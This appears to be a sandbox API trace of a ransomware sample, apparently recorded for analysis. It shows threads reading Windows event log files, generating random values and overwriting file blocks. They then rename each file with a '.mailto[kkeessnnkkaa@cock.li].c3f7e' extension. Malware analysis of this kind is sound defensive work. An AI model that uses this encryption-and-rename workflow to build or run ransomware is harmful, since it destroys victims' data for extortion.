	[0080.398] WriteFile (in: hFile=0x974, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x119bfd8c, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0x119bfd8c*=0x149, lpOverlapped=0x0) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed530) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecf80) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0080.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0080.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddac98
	[0080.412] wcscpy (in: _Dest=0x2ddac98, _Source="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx"
	[0080.412] wcscat (in: _Dest=0x2ddac98, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.412] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x119bfd44, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.412] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7e888
	[0080.412] NtSetInformationFile (FileHandle=0x974, IoStatusBlock=0x119bfd3c, FileInformation=0x2d7e888, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0087.818] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e888) returned 1
	[0087.818] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476aaa8) returned 1
	[0087.818] NtQueryInformationFile (in: FileHandle=0x974, IoStatusBlock=0x119bfd50, FileInformation=0x119bfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x119bfd50, FileInformation=0x119bfd28) returned 0x0
	[0087.818] NtSetInformationFile (FileHandle=0x974, IoStatusBlock=0x119bfd50, FileInformation=0x119bfd28, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddac98) returned 1
	[0087.819] FlushFileBuffers (hFile=0x974) returned 1
	[0093.234] CloseHandle (hObject=0x974) 

Thread:
	id = 435
	os_tid = 0x15f4

	[0076.969] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20
	[0080.471] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", dwFileAttributes=0x20) returned 1
	[0080.471] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9e0
	[0080.472] GetFileSizeEx (in: hFile=0x9e0, lpFileSize=0x11a3fb94 | out: lpFileSize=0x11a3fb94*=69632) returned 1
	[0080.472] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.472] ReadFile (in: hFile=0x9e0, lpBuffer=0x11a3fb18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11a3fb14, lpOverlapped=0x0 | out: lpBuffer=0x11a3fb18*, lpNumberOfBytesRead=0x11a3fb14*=0x4, lpOverlapped=0x0) returned 1
	[0080.805] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e341b8
	[0080.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0080.805] NtQuerySystemTime (in: CurrentTime=0x11a3faf4 | out: CurrentTime=0x11a3faf4*=132251868075463128) returned 0x0
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x29aed145
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x30140fb9
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x734a38a5
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x107af869
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xf2f2b2ff
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xf7a5735
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x17eecd47
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x9044beb
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x3a678712
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xad0a04c4
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x8595e748
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xb5cecc51
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xb524ce83
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xe4a70892
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x5b18d023
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xbada1e76
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x42df9753
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xa46c3d7
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x1adce042
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x6652697e
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x51af9a1
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x7f1cb5ed
	[0080.805] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xd8376557
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x8692fd01
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x7b91870e
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x178d59a1
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x7e019953
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x7b2305c8
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xd15557c9
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x3e1b64c5
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0x273adba4
	[0080.806] RtlRandom (in: Seed=0x11a3fb00 | out: Seed=0x11a3fb00) returned 0xee587016
	[0080.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0080.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342a8
	[0080.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0080.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48d5830
	[0080.817] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.817] ReadFile (in: hFile=0x9e0, lpBuffer=0x48d5830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11a3fad4, lpOverlapped=0x0 | out: lpBuffer=0x48d5830*, lpNumberOfBytesRead=0x11a3fad4*=0xc800, lpOverlapped=0x0) returned 1
	[0081.083] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa7c0
	[0081.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0081.083] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f93fd0
	[0081.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.087] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0081.087] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa7c0) returned 1
	[0081.087] WriteFile (in: hFile=0x9e0, lpBuffer=0x4f93fd0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11a3fad4, lpOverlapped=0x0 | out: lpBuffer=0x4f93fd0*, lpNumberOfBytesWritten=0x11a3fad4*=0xc800, lpOverlapped=0x0) returned 1
	[0081.228] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f93fd0) returned 1
	[0081.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48d5830) returned 1
	[0081.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ec880
	[0081.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa898
	[0081.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0081.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0081.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0081.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ecf80
	[0081.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0081.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0081.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0081.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa898) returned 1
	[0081.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14b) returned 0x47810a0
	[0081.231] SetFilePointerEx (in: hFile=0x9e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.231] WriteFile (in: hFile=0x9e0, lpBuffer=0x47810a0*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x11a3fb54, lpOverlapped=0x0 | out: lpBuffer=0x47810a0*, lpNumberOfBytesWritten=0x11a3fb54*=0x14b, lpOverlapped=0x0) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47810a0) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecf80) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec880) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e341b8) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0081.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342a8) returned 1
	[0081.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x476ae68
	[0081.297] wcscpy (in: _Dest=0x476ae68, _Source="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx"
	[0081.297] wcscat (in: _Dest=0x476ae68, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.297] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11a3fb0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47c9b90
	[0081.297] NtSetInformationFile (FileHandle=0x9e0, IoStatusBlock=0x11a3fb04, FileInformation=0x47c9b90, Length=0xc8, FileInformationClass=0xa) 

Thread:
	id = 436
	os_tid = 0x15f8

	[0076.970] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20
	[0080.473] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.473] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x99c
	[0080.473] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x11abf894 | out: lpFileSize=0x11abf894*=69632) returned 1
	[0080.473] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.473] ReadFile (in: hFile=0x99c, lpBuffer=0x11abf818, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11abf814, lpOverlapped=0x0 | out: lpBuffer=0x11abf818*, lpNumberOfBytesRead=0x11abf814*=0x4, lpOverlapped=0x0) returned 1
	[0080.792] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.792] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34488
	[0080.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33fd8
	[0080.793] NtQuerySystemTime (in: CurrentTime=0x11abf7f4 | out: CurrentTime=0x11abf7f4*=132251868075307275) returned 0x0
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x2680b94b
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xf08161cc
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xc44dbc04
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x82e19b70
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xd87097ec
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xe7ffed9c
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xf1bbe49b
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xb07a87b2
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x563a49a4
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x4aa716e6
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xde305ccd
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x8a0a93c7
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x7568d5e3
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x1cc2131
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x918b5e62
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x8cce8d8e
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x41d1a6fa
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xfed7be0b
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x92847779
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xdeecdba7
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xca25a330
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xfd2a1cc8
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xb006b259
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xce54b36d
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x357cccb7
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xd887b634
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x77903095
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x95bddab
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0x93c0b5e3
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xa42eaa4c
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xbd97ff0e
	[0080.793] RtlRandom (in: Seed=0x11abf800 | out: Seed=0x11abf800) returned 0xde031f5f
	[0080.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344b0
	[0080.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0080.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33fd8) returned 1
	[0080.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48c9028
	[0080.804] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.804] ReadFile (in: hFile=0x99c, lpBuffer=0x48c9028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11abf7d4, lpOverlapped=0x0 | out: lpBuffer=0x48c9028*, lpNumberOfBytesRead=0x11abf7d4*=0xc800, lpOverlapped=0x0) returned 1
	[0081.077] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b18
	[0081.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b18) returned 1
	[0081.078] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f877c8
	[0081.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b18
	[0081.081] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.081] WriteFile (in: hFile=0x99c, lpBuffer=0x4f877c8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11abf7d4, lpOverlapped=0x0 | out: lpBuffer=0x4f877c8*, lpNumberOfBytesWritten=0x11abf7d4*=0xc800, lpOverlapped=0x0) returned 1
	[0081.214] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f877c8) returned 1
	[0081.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48c9028) returned 1
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7f) returned 0x498d020
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.227] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7f) returned 0x498d1b8
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0081.227] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0081.227] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.227] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.227] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x163) returned 0x4780f30
	[0081.227] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.227] WriteFile (in: hFile=0x99c, lpBuffer=0x4780f30*, nNumberOfBytesToWrite=0x163, lpNumberOfBytesWritten=0x11abf854, lpOverlapped=0x0 | out: lpBuffer=0x4780f30*, lpNumberOfBytesWritten=0x11abf854*=0x163, lpOverlapped=0x0) returned 1
	[0081.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780f30) returned 1
	[0081.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d1b8) returned 1
	[0081.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0081.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d020) returned 1
	[0081.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b18) returned 1
	[0081.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34488) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344b0) returned 1
	[0081.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0081.309] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x46a52a8
	[0081.309] wcscpy (in: _Dest=0x46a52a8, _Source="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx"
	[0081.309] wcscat (in: _Dest=0x46a52a8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.309] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11abf80c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
